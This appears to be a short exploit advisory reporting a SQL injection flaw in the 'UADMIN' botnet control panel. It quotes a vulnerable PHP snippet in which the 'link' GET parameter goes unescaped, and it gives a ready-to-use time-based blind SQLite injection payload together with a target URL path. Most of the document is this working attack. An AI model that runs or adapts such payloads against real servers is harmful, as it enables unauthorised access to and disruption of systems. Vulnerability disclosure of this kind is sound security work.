UADMIN Botnet SQL Injection

`################################  
# Exploit Title: UADMIN Botnet - SQL Injection Vulnerability  
# Google Dork: n/a  
# Date: 16/03/2020  
# Exploit Author: n4pst3r  
# Vendor Homepage: unkn0wn  
# Software Link: unkn0wn  
# Version: unkn0wn  
# Tested on: Windows 10, Kali  
# CVE : n/a  
################################  
# Vuln-Code: download.php  
  
$link=$_GET['link'];  
$agent=esc__($_SERVER['HTTP_USER_AGENT']);  
  
if(isset($_GET['botid'])){  
$botid=esc__($_GET['botid']);  
}else{  
$botid='unknown';  
};  
  
################################  
Attack Response & PoC:  
  
---  
Parameter: link (GET)  
Type: time-based blind  
Title: SQLite > 2.0 OR time-based blind (heavy query)  
Payload: link=1' OR 7990=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))-- nwGY  
---  
  
http://127.0.0.1/ush/gates/token.php?link=1  
`